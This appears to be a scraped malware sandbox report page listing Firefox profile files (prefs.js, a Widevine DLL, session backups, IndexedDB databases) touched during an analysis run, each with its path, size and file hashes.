SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-widevinecdm\4.10.2934.0\manifest.json
Size 1001B
SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
MD5 580786a5ec9eb650dde3e0e75db8588a
SHA1 8c0835d1a6bf82e753b624440e9674d649696ead
SHA512 c8d41e16b291157e2afbf978469eae4c017d1ce3b941b93ae710e2bbaaf4c3e601db45e579d22b957b7a1ec48cba788015725a2fa23cf02f2d66010ef4fdd0a0
TLSH
T100115B10DD388D9326E4BAA21CC6580957661DAF4CC23F98379E161D8F1C8AFA37366C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-widevinecdm\4.10.2934.0\widevinecdm.dll
Size 18.9MB
SHA256 875a76af5b19622842c9b37fe77dce10ee83f27adbdcfcde9c814d4e1226d023
MD5 15fa9ea03f6f451d587b1dabb2f7b036
SHA1 a1a5cf60b693f732931f8e7512627d2840023dee
SHA512 8d5e5aa0a116bb09dd492b6b59bcd9458ded013e6b52a31dd36e81313c3f2d9ea01d5bf3ec4b0f2593633a5313705af773a4e7245d6cfd96f231332db26d75ae
SSDEEP 393216:uD9xOHbGD+l8Vm148M/i5hE4/junbj0OjLFI/USFUzUqr1d4Pg4C5/:tGD+l8VmuZ/S24/junfSFwUqYg4A
TLSH
T13717E149E36310E8E80E89F446AADA72D4743C4E03369BEF17D4BB3559727C06A79F06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 11KB
SHA256 e39f36996e99348d350f700fb2775964fca05596b6855b757f0e6000dfcc66da
MD5 d0eda0f0d0994d8f011dcfb4664768a2
SHA1 bbb03630c6425dd1f92699d610421863f6bddac1
SHA512 1fdc5bc3ed71c2a60232887c72bcce1f6f0ac728c2b3922d3a75ce2c0066feba51ec656b9af3f8c9ee0716ccca11970e5b003dcb6b8580604a24f152aba3b940
SSDEEP 192:UfCRvfR60bSIdSSULR0aYzMCmmBw884XW787oI:NdARgFFw+3t
TLSH
T1DC42DE7851509B3F69B3327DAC6549B019A20137BBBFBCD305F98C82059CF2941E6AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 6KB
SHA256 a23f749acb5e6a78b92786cc745345c1d62fdc445510a853887e3e2f49048428
MD5 1ea1b7df1d4099b133478051fcff5f9b
SHA1 bea8e3a3f116b748d8cc58bc23382d8b3ceada73
SHA512 d83fd7161b74a84c962105f033b2810b492810831b8f97ef789048300c1df3a49505353a6fc23e611c0d2d9da5fbb9a2655a51a3efe8b7afeb205b0a26c2bf94
SSDEEP 96:xHiUTUAPqGqcUfC60bSObzSCvSSlrdv9jSnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfC60bSIvSSQCaYzMgBw88qL
TLSH
T13EE11F7895088B7F74B6776CAC6888316AB2413BBBBF68C710B954C4055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 7KB
SHA256 0045ed43148f12bc2934afdbbb221631388d43eb26a7f75ccf69fb242cf5f716
MD5 1a1edf656e9f572f31dbdf64f102f68b
SHA1 9b576677a78e16069cae39985d057f4bdd301824
SHA512 521d1656045fae0b6a08267059f718f04b0c3c9ab84544ae7e1861a28f571ada73f2ab95f10aa916393533bfcc31c19f98da3d92a4ff209f74b24cb4e95f82dd
SSDEEP 96:xHiVTUAPqGqcUfR60bSObzSCvSSlrdv9jSnHHCriDYzM0Bw88b8L4cnHVCZ:UfCRvfR60bSIvSSQCaYzM0Bw88eI
TLSH
T1C5F1FC789144CB7FB4B6776CAC6888715AB2013BBBBF28C710BA5884055CF3941F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs.js
Size 7KB
SHA256 2ff0711d14248020805473eca2d1013330d746a55319721e3d6a652a97bd1d4c
MD5 1f2dd4ae47da99a24da6a76e363a96fb
SHA1 36504ba4680751e248c18219bd33d47e23eaffcc
SHA512 c83d15c1421b21b4f9539af174951bff54b65d9d05827e42c6f01c0e84f8e8c70a6d49ea51b0ec7e37f9fdaac64be5e8a65a3c0d941244c9aca63044f5b624bd
SSDEEP 96:xHiVTUAPqGqcUfC60bSObzSCvSSlrdv9jSnHHCriDYzMgBw88b8L4cnHVjZ:UfCRvfC60bSIvSSQCaYzMgBw88eL
TLSH
T199F1FC789144CB7FB4B6777CAC6888715AB2013BBBBF68C610BA5884055CF3841F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs.js
Size 6KB
SHA256 2385dcd9bb4b80b1f25fc6204db700a5b1e46292eba947b8d9363d563a07df03
MD5 bed5056660a99655cd23df2f7d0234ab
SHA1 ec3c02b304d30c71ee76a2732b3407f286417fff
SHA512 c8d9d5bc38c8d03e50325f3377163d27077b78f85382c5209775fd2e05869fd798f9c091d28f4bc5d003453ece7895dd1e24e90c288f2a7e00b663aba242381d
SSDEEP 96:xHiUTUAPqGqcUfC60bS1zSCvSSlrdv9jSnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfC60bSZvSSQCaYzMgBw88qL
TLSH
T1C2E11F7895088B7F74B6776CAC6888316AB2413BB7BF68C610B95484055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 fcca855acc9834df7ee5556897a896e3641e5ca3a3d59440717b838612df8754
MD5 53e2fccc9be69e282a1ccb11878eef84
SHA1 ef678af04462a74f08002e926cd3962c352d3fb0
SHA512 4e88d9fd611d30d6eea5ee96681466717527ac32236ce01594e23cb1db93e6dd77324e5c4dc935736a45099822f8d6fb5236ade542a4f39e37ec76c06a1a0395
SSDEEP 96:3ffR9I6EawF5DyqL2TNPG4dLGyr8C/qFzDA3:HR9Z3wf2FFG4tNwcQu
TLSH
T1B7918E6EA06C2CD1F1396379E1CC3A7181A3380AC1F02890CE169A2B26FEA02B70755C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 d7d830e322501a09f57dc3f6e8c4360a00ce3093ac3a657f7fec10e1d1251e9b
MD5 cefad79e15800a8e14e2ad33f51f7ea0
SHA1 7ead52d798c6c282fdee90c40ef914bb00b803db
SHA512 5686b224e87473dd5bfc93623e385f89ce750f4976da85a6fd4204399e32a637158c820ee1b38ae82aa63455fc8b5ac9318b5f432f890ae97ada4cc27760e816
SSDEEP 49152:DmkKRVaAIoW8zN6wlBk17lxVgZbTIXkKTwFdMHum3bcAuYzLcGSycHkRIeTLQk82:uFj6LF8AX/D9iC2
TLSH
T129565CE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA9B8CEB4D877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 3.2MB
SHA256 35a2292bb92fca96f4bc02e1767a2538aa8d1edb48f57b7f87486d865cc5692e
MD5 e8b804541dcc835bd6e59a913950a50d
SHA1 3926e34c862a7f5f548eb8fd5aba9894f4024981
SHA512 c50782e9fe76eb54b70209ba64ba5bba569f33c77c63c24421640e8a4d1c22af5832b948be3cd97fd165ab6f4a4123f62efade3f12bd10875eab39baefacf3f9
SSDEEP 24576:HCWk+tIYI0LMrz63BDcYrVQpM9dQ49dQ8lQy3H:Hjv7Lq6pcYrVEM9dn9dQ+Qy3
TLSH
T1D2F52AF820D2B357F3418033A64593EB21AFD00C6467CE044BA956E995B9CEF9E05B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 4.2MB
SHA256 301d505b17898cd246698bf11e71f9167e847774ec03bf7de44c6f45b1c09ec9
MD5 3a9df18e4ad9f0d5c2419f4df3b6c6e5
SHA1 6a9ff0ac2cc8c799ea62f5914c78f4ced61f8d8e
SHA512 f9beb18968cdde012f8b325c8e0952b85caf7c6a4ece909e80be01495eef0b37f7fb8debf210ad0c26b776b772c7f269d09427f4f86efe245e357b4e5bf72192
SSDEEP 24576:fcYj52Z52XC3jFTiS7Qc6YBJ8AXQ4p8C0Ju9zo8Ww7cQDKwdJdYbG:fcEAkXaBTLQk8AXQ4p8Cdrd2wFYbG
TLSH
T193263BF860D1A243F3414033B64553EB21EFD00D6437DA484BA956E9A5B8CEF8E16B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 0a7bd30192a154d19bee55d482eacde99a8d7205322f11bdd59259e93d886eb9
MD5 2ea32a80de17fd9ef10fa3fa97f5ef42
SHA1 5d84984b204b3eb74dcaff26cd0420feb3c094ed
SHA512 e98a904e577f653e4ab0b4f1301afde91883c6280391eb062e8a82b92985e31413dade5148a40139ffe108fcffad2e693a6434a7c5158a8e8df75317590092d3
SSDEEP 49152:PmkKRVaAIoW8zN6wlBk17lxVgZbTIXkKTwFdMHum3bcAuYzLcGSyqHkRI2TLQk87:27jSLF8AX/DbiX4
TLSH
T1B0565CE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA9B8CEB4D877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads